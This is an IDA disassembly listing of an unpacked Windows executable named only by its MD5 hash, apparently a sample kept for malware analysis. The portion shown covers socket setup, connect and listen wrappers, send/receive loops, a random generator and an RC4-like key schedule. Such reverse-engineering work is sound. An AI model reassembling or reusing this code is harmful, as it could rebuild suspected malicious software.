;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	774BF71432CA6DC7E45504E856AA1866

; File Name   :	u:\work\774bf71432ca6dc7e45504e856aa1866_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00040000 ( 262144.)
; Section size in file		: 00040000 ( 262144.)
; Offset to raw	data for section: 00001000
; Flags	C0000060: Text Data Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
DMN0		segment	para public 'DATA' use32
		assume cs:DMN0
		;org 401000h
		assume es:nothing, ss:nothing, ds:DMN0,	fs:nothing, gs:nothing
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_401001	proc near		; CODE XREF: sub_40400E+3Fp
					; sub_404967+D1p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_401013
; ---------------------------------------------------------------------------


loc_40100B:				; CODE XREF: sub_401001+14j
		call	dword_411CC4
		mov	esi, eax


loc_401013:				; CODE XREF: sub_401001+8j
		test	esi, esi
		jz	short loc_40100B
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		cmp	dword ptr [ebx], 0
		jnz	short loc_40102F
		inc	dword ptr [ebx]


loc_40102F:				; CODE XREF: sub_401001+2Aj
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_401001	endp


; =============== S U B	R O U T	I N E =======================================



sub_40103C	proc near		; CODE XREF: sub_4067B0+20p
		push	offset dword_41285C
		call	dword_411CC8
		retn
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401048	proc near		; CODE XREF: sub_40122A+35p
					; sub_4019C3+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	offset dword_41285C
		call	dword_411CCC
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_406E00
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	offset dword_41285C
		call	dword_411CD0
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_401048	endp


; =============== S U B	R O U T	I N E =======================================



sub_401076	proc near		; CODE XREF: sub_40122A+1Fp
					; sub_401A3B+Bp ...

arg_0		= dword	ptr  4

		push	offset dword_41285C
		call	dword_411CCC
		push	[esp+arg_0]
		call	sub_4071B0
		pop	ecx
		push	offset dword_41285C
		call	dword_411CD0
		retn
sub_401076	endp


; =============== S U B	R O U T	I N E =======================================



sub_401097	proc near		; CODE XREF: sub_4067B0+2Ap
		push	offset dword_412874
		call	dword_411CC8
		retn
sub_401097	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		cmp	dword ptr [ebp+8], 0
		jz	loc_40115E
		push	0FFFFFFF5h
		call	dword_411CD4
		cmp	eax, 0FFFFFFFFh
		jz	loc_40115E
		push	offset dword_412874
		call	dword_411CCC
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		call	sub_407280
		add	esp, 10h
		mov	ebx, eax
		cmp	ebx, 0FFh
		jbe	short loc_401140
		push	1
		lea	eax, [ebx+80h]
		push	eax
		call	sub_406E00
		pop	ecx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+0Ch]
		push	edi
		push	dword ptr [ebp+8]
		lea	eax, [ebx+1Fh]
		push	eax
		push	esi
		call	sub_407280
		add	esp, 10h
		mov	ebx, eax
		push	esi
		push	offset aS_0	; "%s"
		call	sub_407320
		pop	ecx
		pop	ecx
		push	esi
		call	sub_4071B0
		pop	ecx
		jmp	short loc_401153
; ---------------------------------------------------------------------------


loc_401140:				; CODE XREF: DMN0:00401100j
		lea	eax, [ebp-100h]
		push	eax
		push	offset aS_0	; "%s"
		call	sub_407320
		pop	ecx
		pop	ecx


loc_401153:				; CODE XREF: DMN0:0040113Ej
		push	offset dword_412874
		call	dword_411CD0


loc_40115E:				; CODE XREF: DMN0:004010B6j
					; DMN0:004010CCj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401165	proc near		; CODE XREF: sub_4067B0+25p
		push	offset dword_41288C
		call	dword_411CC8
		retn
sub_401165	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		lea	eax, [ebp-10h]
		push	eax
		call	dword_411CD8
		cmp	word ptr [ebp-8], 0Ch
		jnb	short loc_401190
		mov	ebx, offset aAm	; "AM"
		jmp	short loc_401195
; ---------------------------------------------------------------------------


loc_401190:				; CODE XREF: DMN0:00401187j
		mov	ebx, offset aPm	; "PM"


loc_401195:				; CODE XREF: DMN0:0040118Ej
		push	ebx
		movzx	eax, word ptr [ebp-4]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		mov	ecx, 0Ch
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-10h]
		mov	ecx, 64h
		cdq
		idiv	ecx
		push	edx
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset a02i02i02iIIIS ;	"%02i/%02i/%02i	%i:%i:%i%s"
		push	dword ptr [ebp+8]
		call	sub_407380
		add	esp, 24h
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	offset dword_41288C
		call	dword_411CCC
		push	offset aA	; "a"
		push	dword ptr [ebp+8]
		call	sub_4073C0
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40121A
		lea	eax, [ebp+10h]
		mov	[ebp-4], eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_407470
		add	esp, 0Ch
		push	ebx
		call	sub_407620
		pop	ecx


loc_40121A:				; CODE XREF: DMN0:004011FCj
		push	offset dword_41288C
		call	dword_411CD0
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40122A	proc near		; CODE XREF: sub_4067B0+4Bp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		jmp	short loc_40124F
; ---------------------------------------------------------------------------


loc_401237:				; CODE XREF: sub_40122A+2Cj
		dec	dword_411000
		mov	eax, dword_411000
		push	dword_4128A4[eax*4]
		call	sub_401076
		pop	ecx


loc_40124F:				; CODE XREF: sub_40122A+Bj
		cmp	dword_411000, 0
		jnz	short loc_401237
		jmp	short loc_4012CB
; ---------------------------------------------------------------------------


loc_40125A:				; CODE XREF: sub_40122A+ADj
		push	401h
		call	sub_401048
		pop	ecx
		mov	edx, dword_411000
		mov	dword_4128A4[edx*4], eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40127E
		inc	ebx
		mov	[ebp+var_1], 22h
		jmp	short loc_401282
; ---------------------------------------------------------------------------


loc_40127E:				; CODE XREF: sub_40122A+4Bj
		mov	[ebp+var_1], 20h


loc_401282:				; CODE XREF: sub_40122A+52j
		and	[ebp+var_8], 0
		mov	eax, dword_411000
		lea	edx, [eax+1]
		mov	dword_411000, edx
		mov	esi, dword_4128A4[eax*4]
		jmp	short loc_4012A3
; ---------------------------------------------------------------------------


loc_40129D:				; CODE XREF: sub_40122A+8Bj
		mov	al, [ebx]
		mov	[esi], al
		inc	esi
		inc	ebx


loc_4012A3:				; CODE XREF: sub_40122A+71j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4012B7
		cmp	al, [ebp+var_1]
		jz	short loc_4012B7
		cmp	[ebp+var_8], 400h
		jl	short loc_40129D


loc_4012B7:				; CODE XREF: sub_40122A+7Dj
					; sub_40122A+82j
		cmp	[ebp+var_1], 22h
		jnz	short loc_4012C6
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4012C6
		inc	ebx
		jmp	short loc_4012C6
; ---------------------------------------------------------------------------


loc_4012C5:				; CODE XREF: sub_40122A+9Fj
		inc	ebx


loc_4012C6:				; CODE XREF: sub_40122A+91j
					; sub_40122A+96j ...
		cmp	byte ptr [ebx],	20h
		jz	short loc_4012C5


loc_4012CB:				; CODE XREF: sub_40122A+2Ej
		cmp	byte ptr [ebx],	0
		jz	short loc_4012D9
		cmp	dword_411000, 20h
		jl	short loc_40125A


loc_4012D9:				; CODE XREF: sub_40122A+A4j
		mov	eax, dword_411000
		and	dword_4128A4[eax*4], 0
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40122A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4012EC	proc near		; CODE XREF: sub_4067B0+256p

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	bx, 2
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_406D6E
		mov	esi, eax
		test	esi, esi
		jz	short loc_40133C
		mov	bx, 101h
		lea	eax, [ebp+var_190]
		push	eax
		movzx	eax, bx
		push	eax
		call	sub_406D6E
		mov	esi, eax
		test	esi, esi
		jz	short loc_40132F
		xor	eax, eax
		jmp	short loc_40134A
; ---------------------------------------------------------------------------


loc_40132F:				; CODE XREF: sub_4012EC+3Dj
		push	offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n"
		call	nullsub_2
		pop	ecx
		jmp	short loc_401347
; ---------------------------------------------------------------------------


loc_40133C:				; CODE XREF: sub_4012EC+23j
		push	offset aWinsock2_xInit ; "WinSock 2.x initialized.\n"
		call	nullsub_2
		pop	ecx


loc_401347:				; CODE XREF: sub_4012EC+4Ej
		xor	eax, eax
		inc	eax


loc_40134A:				; CODE XREF: sub_4012EC+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4012EC	endp

; ---------------------------------------------------------------------------
		call	sub_406D74
		xor	eax, eax
		inc	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401359	proc near		; CODE XREF: sub_402896+BDp
					; sub_403C3F+DCp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_406D7A
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401377
		xor	eax, eax
		jmp	short loc_4013CD
; ---------------------------------------------------------------------------


loc_401377:				; CODE XREF: sub_401359+18j
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_406D80
		mov	[ebp+var_4], 112A880h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_406D80
		mov	[ebp+var_4], 1
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_406D80
		mov	eax, ebx


loc_4013CD:				; CODE XREF: sub_401359+1Cj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401359	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	6
		push	1
		push	2
		call	sub_406D7A
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4013F0
		xor	eax, eax
		jmp	short loc_401451
; ---------------------------------------------------------------------------


loc_4013F0:				; CODE XREF: DMN0:004013EAj
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_406D80
		imul	eax, [ebp+8], 3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_406D80
		xor	eax, eax
		cmp	dword ptr [ebp+10h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_406D80
		mov	eax, ebx


loc_401451:				; CODE XREF: DMN0:004013EEj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		mov	ebx, [ebp+8]
		imul	eax, [ebp+10h],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1005h
		push	0FFFFh
		push	ebx
		call	sub_406D80
		imul	eax, [ebp+0Ch],	3E8h
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	1006h
		push	0FFFFh
		push	ebx
		call	sub_406D80
		xor	eax, eax
		cmp	dword ptr [ebp+14h], 0
		setnz	al
		mov	[ebp-4], eax
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	8
		push	0FFFFh
		push	ebx
		call	sub_406D80
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4014C2	proc near		; CODE XREF: sub_4025A9+15Dp
					; sub_4025A9+1B4p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_406D86
		xor	eax, eax
		inc	eax
		retn
sub_4014C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014CF	proc near		; CODE XREF: sub_4042CD+567p
					; sub_4042CD+5E1p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		and	[ebp+var_10C], 0
		and	[ebp+var_108], 0
		and	[ebp+var_104], 0
		cmp	[ebp+var_104], 40h
		jnb	short loc_401511
		mov	eax, [ebp+var_104]
		lea	edx, [eax+1]
		mov	[ebp+var_104], edx
		mov	[ebp+eax*4+var_100], ebx


loc_401511:				; CODE XREF: sub_4014CF+2Aj
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	sub_406D8C
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40153C
		test	esi, esi
		jnz	short loc_401539
		xor	eax, eax
		jmp	short loc_40153C
; ---------------------------------------------------------------------------


loc_401539:				; CODE XREF: sub_4014CF+64j
		xor	eax, eax
		inc	eax


loc_40153C:				; CODE XREF: sub_4014CF+60j
					; sub_4014CF+68j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4014CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401542	proc near		; CODE XREF: sub_402562+13p
					; sub_4025A9+1F5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	sub_406D92
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401562
		mov	eax, [ebp+var_4]


loc_401562:				; CODE XREF: sub_401542+1Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401542	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401567	proc near		; CODE XREF: sub_4025A9+14Ep
					; sub_402896+DBp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_406D98
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_406D9E
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015AF
		xor	eax, eax
		jmp	short loc_4015B2
; ---------------------------------------------------------------------------


loc_4015AF:				; CODE XREF: sub_401567+42j
		xor	eax, eax
		inc	eax


loc_4015B2:				; CODE XREF: sub_401567+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401567	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015B7	proc near		; CODE XREF: sub_404967+110p
					; sub_405DB5+2Bp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_406D98
		mov	[ebp+var_E], ax
		lea	ebx, [ebp+var_10]
		push	10h
		push	ebx
		push	[ebp+arg_0]
		call	sub_406DA4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015FF
		xor	eax, eax
		jmp	short loc_401602
; ---------------------------------------------------------------------------


loc_4015FF:				; CODE XREF: sub_4015B7+42j
		xor	eax, eax
		inc	eax


loc_401602:				; CODE XREF: sub_4015B7+46j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4015B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401607	proc near		; CODE XREF: sub_404967+290p
					; sub_405DB5+48p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	5
		push	[ebp+arg_0]
		call	sub_406DAA
		test	eax, eax
		jge	short loc_40161C
		xor	eax, eax
		jmp	short loc_40161F
; ---------------------------------------------------------------------------


loc_40161C:				; CODE XREF: sub_401607+Fj
		xor	eax, eax
		inc	eax


loc_40161F:				; CODE XREF: sub_401607+13j
		pop	ebp
		retn
sub_401607	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401621	proc near		; CODE XREF: sub_405DB5+63p

var_14		= dword	ptr -14h
var_10		= word ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	esi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	sub_406DB0
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401664
		xor	eax, eax
		jmp	short loc_401666
; ---------------------------------------------------------------------------


loc_401664:				; CODE XREF: sub_401621+3Dj
		mov	eax, ebx


loc_401666:				; CODE XREF: sub_401621+41j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40166C	proc near		; CODE XREF: sub_404967+2A8p

var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		and	dword ptr [edx], 0
		mov	word ptr [ebx],	0
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		mov	[ebp+var_14], 10h
		lea	edi, [ebp+var_10]
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	[ebp+arg_0]
		call	sub_406DB0
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4016BE
		xor	eax, eax
		jmp	short loc_4016D5
; ---------------------------------------------------------------------------


loc_4016BE:				; CODE XREF: sub_40166C+4Cj
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_C]
		mov	[edx], eax
		movzx	eax, [ebp+var_E]
		push	eax
		call	sub_406DB6
		mov	[ebx], ax
		mov	eax, esi


loc_4016D5:				; CODE XREF: sub_40166C+50j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40166C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4016DC	proc near		; CODE XREF: sub_401BAC+44p
					; sub_401BAC+A3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_401707
; ---------------------------------------------------------------------------


loc_4016EA:				; CODE XREF: sub_4016DC+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_406DBC
		mov	esi, eax
		test	esi, esi
		jg	short loc_401703
		or	eax, 0FFFFFFFFh
		jmp	short loc_40170E
; ---------------------------------------------------------------------------


loc_401703:				; CODE XREF: sub_4016DC+20j
		sub	edi, esi
		add	ebx, esi


loc_401707:				; CODE XREF: sub_4016DC+Cj
		test	edi, edi
		jg	short loc_4016EA
		mov	eax, [ebp+arg_8]


loc_40170E:				; CODE XREF: sub_4016DC+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4016DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401713	proc near		; CODE XREF: sub_4025A9+1E3p
					; sub_402896+149p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_401742
; ---------------------------------------------------------------------------


loc_401722:				; CODE XREF: sub_401713+31j
		push	0
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_406DBC
		mov	esi, eax
		test	esi, esi
		jle	short loc_401746
		sub	edi, esi
		mov	eax, [ebp+arg_4]
		add	eax, esi
		mov	[ebp+arg_4], eax
		add	ebx, esi


loc_401742:				; CODE XREF: sub_401713+Dj
		test	edi, edi
		jg	short loc_401722


loc_401746:				; CODE XREF: sub_401713+21j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401713	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+10h]
		mov	edi, ebx
		xor	ebx, ebx
		jmp	short loc_40177C
; ---------------------------------------------------------------------------


loc_40175C:				; CODE XREF: DMN0:0040177Ej
		push	0
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_406DBC
		mov	esi, eax
		test	esi, esi
		jle	short loc_401780
		sub	edi, esi
		mov	eax, [ebp+0Ch]
		add	eax, esi
		mov	[ebp+0Ch], eax
		add	ebx, esi


loc_40177C:				; CODE XREF: DMN0:0040175Aj
		test	edi, edi
		jg	short loc_40175C


loc_401780:				; CODE XREF: DMN0:0040176Ej
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401787	proc near		; CODE XREF: sub_401ADA+97p
					; sub_4025A9+1A4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		jmp	short loc_4017B2
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: sub_401787+2Dj
		push	0
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		call	sub_406DC2
		mov	esi, eax
		test	esi, esi
		jg	short loc_4017AE
		or	eax, 0FFFFFFFFh
		jmp	short loc_4017B9
; ---------------------------------------------------------------------------


loc_4017AE:				; CODE XREF: sub_401787+20j
		sub	edi, esi
		add	ebx, esi


loc_4017B2:				; CODE XREF: sub_401787+Cj
		test	edi, edi
		jg	short loc_401795
		mov	eax, [ebp+arg_8]


loc_4017B9:				; CODE XREF: sub_401787+25j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401787	endp


; =============== S U B	R O U T	I N E =======================================



sub_4017BE	proc near		; CODE XREF: DMN0:00401882p
					; sub_403C3F+30p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	esi, esi
		push	[esp+8+arg_0]
		call	sub_406DC8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4017F2
		push	[esp+8+arg_0]
		call	sub_406DCE
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4017E9
		or	eax, 0FFFFFFFFh
		jmp	short loc_4017F4
; ---------------------------------------------------------------------------


loc_4017E9:				; CODE XREF: sub_4017BE+24j
		mov	eax, [esi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	short loc_4017F4
; ---------------------------------------------------------------------------


loc_4017F2:				; CODE XREF: sub_4017BE+15j
		mov	eax, ebx


loc_4017F4:				; CODE XREF: sub_4017BE+29j
					; sub_4017BE+32j
		pop	esi
		pop	ebx
		retn
sub_4017BE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	10h
		push	0
		lea	eax, [ebp-10h]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		mov	dword ptr [ebp-14h], 10h
		lea	ebx, [ebp-10h]
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_406DD4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_401837
		xor	eax, eax
		jmp	short loc_401852
; ---------------------------------------------------------------------------


loc_401837:				; CODE XREF: DMN0:00401831j
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp-0Ch]
		mov	[edx], eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		call	sub_406DB6
		mov	edx, [ebp+10h]
		mov	[edx], ax
		xor	eax, eax
		inc	eax


loc_401852:				; CODE XREF: DMN0:00401835j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		mov	byte ptr [ebp-400h], 0
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		call	sub_406DDA
		lea	eax, [ebp-400h]
		push	eax
		call	sub_4017BE
		pop	ecx
		mov	ebx, eax
		mov	[ebp-404h], ebx
		mov	eax, [ebp-404h]
		push	eax
		call	sub_406DE0
		mov	esi, eax
		push	esi
		lea	eax, [ebp-400h]
		push	eax
		push	offset aSIsS	; "%s is %s\n"
		call	nullsub_2
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018BB	proc near		; CODE XREF: sub_401A55+14p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+400h], 0
		mov	edx, [ebp+arg_0]
		and	dword ptr [edx+404h], 0
		mov	ebx, [ebp+arg_0]
		xor	ecx, ecx


loc_4018DD:				; CODE XREF: sub_4018BB+2Cj
		mov	[ebx+ecx*4], ecx
		inc	ecx
		cmp	ecx, 100h
		jl	short loc_4018DD
		and	[ebp+var_8], 0
		xor	edi, edi
